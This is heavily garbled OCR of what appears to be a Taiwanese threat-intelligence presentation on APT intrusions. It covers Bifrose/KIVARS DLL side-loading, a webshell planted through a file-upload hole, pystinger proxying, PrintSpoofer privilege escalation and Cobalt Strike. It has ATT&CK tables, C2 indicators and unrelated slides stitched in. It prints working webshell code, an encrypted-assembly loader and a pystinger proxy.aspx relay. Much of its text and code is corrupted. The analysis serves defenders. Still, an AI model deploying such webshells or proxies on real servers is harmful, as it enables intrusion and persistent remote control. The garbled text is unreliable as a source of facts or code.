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> B2 = (EFH Administrator %8 RDP 5 A% GREE-LE - WHIT
ntxn264.exe MTIEESHE AEZFIZE T uNPXtssucPrx.dll

> ntxn264.exe €% uNPXtssucPrx.dll 53—

> 132375218912 A& Bifrose BE21=E T
> EEQL?‘E’H@J 2004 =F
H{h&:3E KIVARS # XBOW

C:\Windows\System32\uNPXtssucPrx.dll

OSINT Autorun APT Malware DLL (GUI) Wing4 Service: PCAUDIT

B c22045186(6d03295a6650064141c682 (~

¥ [APT].884A905E

e Name Autorun

10 Server-SOON-2 10 C:\Windows\S m32\uNPXtssucPrcdll Autorun

{El autorun RIARFS - R BEEINIT

DLL MODULE

Module-0F68DA0000
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eys | Startup Folder)
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>Loader
> Load encrypted payload

svchost

Install itself as Service

> Reflective DLL Loading —

Loader DLL

> Mutated RC4 Algorithm [

>Payload
> Anti-Detection

> Connect to C2 server &
Send victim information

> Command and Control

,02 Server

spamail.sendsmtp.com
skyworld.gettria
sales.vizvaz.com
account-login.dnset.com
xchange.justdi

e
211.72.113.90
211.23.39.236
211.20.101.47

ed.com

Is.com

Execute Payload

Encrypted Payload

under C:\Windows\System32
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54EAC99896D279F581EC78EBAGB51C2F spamail[.]sendsmtp[.]Jcom
CA5AF53791851D6B996D8F8EE7BO63F4 skyworld[.]gettrials[.Jcom
EAA945186F6D03295A6650B64141C682 sales[.]vizvaz[.Jcom
200396F9FD701F26D8BOB6A2C99696AA account-login[.]Jdnset[.]Jcom
700FBA10CC17B4432B9A7DBC4FEB2A41 exchangel.]justdied[.Jcom
F74AE1303740D08F9F7AOCEF98E02076 211[.172[.]1113[.190
33BA121E3327BD79F2C73E87004F1381 211[.]23[.139[.]236
A17A50F71119987E1281ECOCCB8B6G2EF 211[.]20[.]101[.147

09E9960ABOA3CBDA31AO3E859305EFF7
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MITRE ATT&CK

o . Privilege Defense . Lateral
Initial Access Persistence : . Discovery
Escalation Evasion Movement

T1078.001
Default Accounts

T1569.002
Service Execution

T1204
User Execution

T1543.003
Windows Service

T1574.002
DLL Side-Loading

T1078.001
Default Accounts

T1547.001
Registry Run Keys /
Startup Folder

T1055
Process Injection

T1078.001
Default Accounts

T1055.001
Dynamic-link Library
Injection

T1543.003
Windows Service

T1547.001
Registry Run Keys /
Startup Folder

T1574.002
DLL Side-Loading

T1620
Reflective DLL
Loading

T1078.001
Default Accounts

T1055.001
Dynamic-link Library
Injection

T1562.004
Disable or Modify
System Firewall

T1574.002
DLL Side-Loading

T1070.006
Timestomp

T1033
System Owner/User
Discovery

T1087.002
Domain Account

T71021.001

Remote Desktop

Protocol

T71021.002

SMB/Windows

Admin Shares
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‘ File Upload Vulnerability

>ERAFAVAERLFE—EERZ LENRR » B&EFE

2B E & R L EIHIT T 1.aspx &35z webshell

>1.aspx =—%& NET B webshell » il H e IAFIREE AT
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1.aspx webshell

<%@ Page Language="C#" %><%@Import Namespace="System.Reflection"%><%Session.Add("k",

" <redacted>

BinaryRead(Request.ContentLength);Assembly.Load(new
RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, @, c.Length)).CreateInstance
("U").Equals(this) ;%>

.Ju_ex211109. log

2508543:
250558:
250751:
250766:
251292:
251293:

2021-11-09
2021-11-09
2021-11-09
2021~-11-09
2021-11-09
2021-11-09

/UploadTmp/
/UploadTmp/
/UploadTmp/
/UploadTmp/
/UploadTmp/

/UploadTmp/1.

aspx

l.aspx
1.aspx
l.aspx ~-
1l.aspx
1

Laspx -

Mozilla/5.0+(Windows+NT+10.0;+Winb4;+x64;+rv:
Mozilla/5.0+(Windows+NT+10.0;+Winb4;+x64;+rv:
Mozilla/5.0+(Windows+NT+10.0;+Winb4;+x64;+rv:
Mozilla/5.0+(Windows+NT+10.0;+Winb4;+x64;+rv:
Mozilla/5.0+(Windows+NT+10.0;+Winb4;+x64;+rv:
Mozilla/5.0+(Windows+NT+10.0;+Winb4; +x64;+rv:

“);byte[]l k = Encoding.Default.GetBytes(Session[@] + ""),c = Request.
System.Security.Cryptography.

.8)+Gecko/20100101+Firefox/84.
.0)+Gecko/20100101+Firefox/84,
.8)+Gecko/20100101+Firefox/B4.
.0)+Gecko/20100101+Firefox/84.
«0)+Gecko/20100101+Firefox/84.
.08)+Gecko/20100101+Firefox/84.
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=R - REAE ~ REE

& Rl (pystinger)

BA% 3 | English
SR (pystinger)#@ i webshell 2 AMSOCK4 IR, Ik [ BR
o] B #H Tmetasploit-framework,viper,cobalt strike %%,

F A FEApython &, ZETZ F:Fphp,jsp(x),aspx = 1P L IR A,
ERAE
RIgAH M S 2815428 http://example.com:8080 , iz 523 M IPI 11 79192.168.3.11

SOCK4{{3#

e proxy.jsp HERIEIRARSS 28, FATR http://example.com:8080/proxy.jsp T LAIAI0], TIHEER[E ut
e fistinger_server.exe D2 HIRrARS 28, WEI/KEEHAT start D:/XXX/stinger_server.exe B

REEEILTD:/XXX/stinger_server.exe, =5 Htcplifi &

° Vpsﬁlﬁ ./stinger_client -w http://example.com:8688/proxy.jsp -1 127.8.0.1 -p 60008

30

i

X

<%@ Page Language="C#" Debug="true"%>

<%@ Import Namespace="System.IO" %>

<%@ Import Namespace="System.Net" %>

<%

if (Request.HttpMethod == "GET")
{
Response.Write("UTF-8");
return;
¥
else
{

string Remoteserver = Request.Form["Remoteserver"];

string Endpoint = Request.Form["Endpoint"];

string url = Remoteserver + Endpoint;

System.ID.Stream s = Request.InputStream;

int cont = Request.ContentLength;
byte[] buffer = new byte[cont];
s.Read(buffer, B, cont);

string post_arg = Encoding.UTF8.GetString(buffer, @, cont);

HttpWebRequest newrequest = (HttpWwebRequest)WebRequest.Create(url+"?"+post arg);

newrequest.Method = "POST";
if (buffer.Length »>= @)

{

System.IO.Stream requestStream = null;
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PrintSpoofer64.exe — RERRIZF+

PrintSpoofer

From LOCAL/NETWORK SERVICE to SYSTEM by abusing SeImpersonateprivilege on Windows 10 and Server
2016/2019.

For more information: https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/.

E¥ Command Prompt - ncb4.exe 127.0.0.1 9001

oft Windows [‘-‘rF' rsion 16.8.17763.865 :
3 Microsoft Cor poration. All ri gNLs

C:\Windows\syste
shoami
nt authority\local service
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C:\WINDOWS\SYSTEM32\FVEAPI.DLL

obalt Strike - B2

>3 Cobalt Strike & P9#1E A TE Z1E im 2L
> %

CuiRi T B &’& Cobalt Strike

C-Malicious ActiveFile Win64 DLL (GUI) Active Thread Functions Suspicious-Process

B 9aba2ec0fc95d3ace7b6fe85112500bf (~

® 7 Endpoints

© 2021-11-23 11:50:44

E sa5k8

Computer va

Name va

0 C:\WINDOWS\SYSTEM32\FVEAPI.DLL
0 C:\WINDOWS\SYSTEM32\FVEAPI.DLL

C:\WINDOWS\SYSTEM32\FVEAPI.DLL
0 C:\WINDOWS\SYSTEM32\FVEAPI.DLL
0 C:\WINDOWS\SYSTEM32\FVEAPI.DLL
0 C:\WINDOWS\SYSTEM32\FVEAPIDLL
10 C:\WINDOWS\SYSTEM32\FVEAPI.DLL

Autorun Create va
2022-01-17 21:23:04
2021-12-07 00:18:39
2022-01-21 21:28:16
2021-12-07 00:20:55
2021-11-28 12:45:39
2021-11-29 11:35:06
2021-11-28 12:28:52

A : CuRi A ERASRRADSERTA

i iEs Golang | i+ 1. Fh Apache 2.0
Ox01 &1 :

/) S ) R (S (S ) (N )
/7 (( 1) [ 1 Yy (_)) |1
A A (A [ 1 ( _/ |1
(( (( 1) [ YAN |1
e A\ = = L (S ) |
RN B £y | 0 R N A S |
#AH - —FRIAERARFRARDERNDS - EFshellcodeE BSEMBRRAARS
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8E994054AD0O0OEAG6590D127317B74D681

103.131.188.67
103.131.188.70
103.171.26.93
103.171.26.94
139.180.188.164
149.154.161.18
149.154.161.2
149.154.161.8
154.31.113.105
160.116.58.207
160.124.103.81
160.124.103.81
165.154.226.214

165.154.226.53
172.111.1.70
203.218.241.34
203.218.241.34
203.218.252.164
203.218.252.186
218.252.244.66
218.252.244.98
43.240.13.215
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Initial Access

T1190

Exploit Public-
Facing
Application

T1078
Valid Accounts

T1059
Command and
Scripting
Interpreter

T1059.003
Windows

Command Shell

T1047
Windows
Management

Instrumentation

T1059
Command and
Scripting
Interpreter

T1059.003
Windows
Command Shell

T1047
Windows
Management
Instrumentation

Persistence

T1505.003
Server Software
Component: Web
Shell

Escalation

T1068
Exploitation for
Privilege
Escalation

IMITRE ATT&CK

Privilege

Defense
Evasion

T1620
Reflective Code
Loading

T1564.001

Hide Artifacts:
Hidden Files and
Directories

T1140

Deobfuscate/Dec

ode Files or
Information

T1027.002
Obfuscated Files
or

Information: Soft
ware Packing

T1055

Process Injection

Credential

Process Injection

Discovery

T1046
Network Service
Discovery

T1016.001
Internet
Connection
Discovery

T1135
Network Share
Discovery

T1016

System Network
Configuration
Discovery

Lateral

Movement

T1021.001
Remote Desktop
Protocol

T1021
Remote Services

Collection

T1005
Data from Local
System

Command and

Control

T1573.001
Encrypted

Channel: Symmet

ric Cryptography

T1090.001
Proxy: Internal
Proxy

T1041
Exfiltration Over
C2 Channel
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Taiwan Launches Rating Serv

SEMICONDUCTORS

SEMI Taiwan Launches Rating Service to
Strengthen Cybersecurity Across Taiwan Chip
Ecosystem

Taking aim at hardening the Taiwan semiconductor ecosystem'’s defenses
against cyberattacks, SEMI has launched a Semiconductor Cybersecurity
Bj_sk_Banng Service. Using third-party risk scoring and risk posture
assessment, the service is designed to help SEMI Taiwan members assess
cybersecurity risks in real time and provide risk remediation guidance.
Launched by the SEMI Taiwan Cybersecurity Committee, the service was
developed by SEMI Taiwan, Taiwan Semiconductor Manufacturing
Company (TSMC) and other semiconductor industry partners.

https://semi.org/zh

SEMICONDUCTOR2][€]=53§ Q

N RY TRENDS

The increased adoption of digital transformation in the industry has changed cybersecurity as we know it.
Smart factory environments such as smart equipment and production lines expose people and assets to a
growing number of malicious cyber attacks. How to mitigate cybersecurity threats has become a common
challenge for all industry sectors, and supply chain security has become a hot topic many people are talking
about in recent years. Rising cybersecurity threats, on the other hand has also brought the industry's attention

to cybersecurity solutions and standards available in order to effectively enhance cyber defense.

SYLHET ) MY GREXERPER

SEMI Workforce
Development

Attracting, developing and
retaining a diverse and innovative
workforce for our industry.

LEARN MORE

MANCYCANFT
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NIST SP 800-207
NIST SP 1800-35

!
~H
L

ZTA RKRIFEAZE S

W15 E R EDRE

nke

= %E&% / Policy Information Points \

(PIPs) \

\ ﬂupportmg Components\
l BnEE l
[ Policy Decision \

Point (PDP) I(3). Information needed to ZEREE (MFA)

approve/deny access request

A—"r*

I(N): Initial Connection
S(X): Session Management

${8). Information needed to

< continually evaluate access > ﬁ#"ﬁ %E{E ~;,E\|J Ei @ ﬁ§
. == EDR
:t§ ,%E Eﬁ%ﬁ l ',mw g S Access | ey continue/revoke/limit ( )

requests; info session access
deny needed to

access  periodically
verify subject

(both user and
endpoint)

1(2). Info needed
to verify subject
and its endpoint

1{1). Initial access request Point(s) (PEPs)
(identity and credentials)

k i I(5). Session
& - j

$(D). Periodic reauthentication

chalienge/response and endpoint \
hygiene verification
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FR{$E (C.K. Chen)

REERPEHR
BERMREE

58 11 B(M) 16:30-17:00 Q 7F 701E
A FEEHEFIECR

HAARERD > BARNESEENHES > #BEARNEABIAT  EM7THEZ2ER
METENRZ 2HEH o 74 > TEMR 2 EEP - WRE—EREANFRGE - ARt - 2E
LA A B ZREE - Alb > BFIRNTESEEREEE - EFER=F > UEETEE
S E NN SEEEREERNFRE ©

F TR SERARSRENSIENSEEFRECE - SEARESERBEEZOIE » mEEd
SIEFESEE ) BENERREME - &% BIEFNEGRNSEIETEERFINEROAZEZ
— > Al LB AGR o Eib » IS =HEEGFIECEAHE °
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> Case 1: Return of Bifrose
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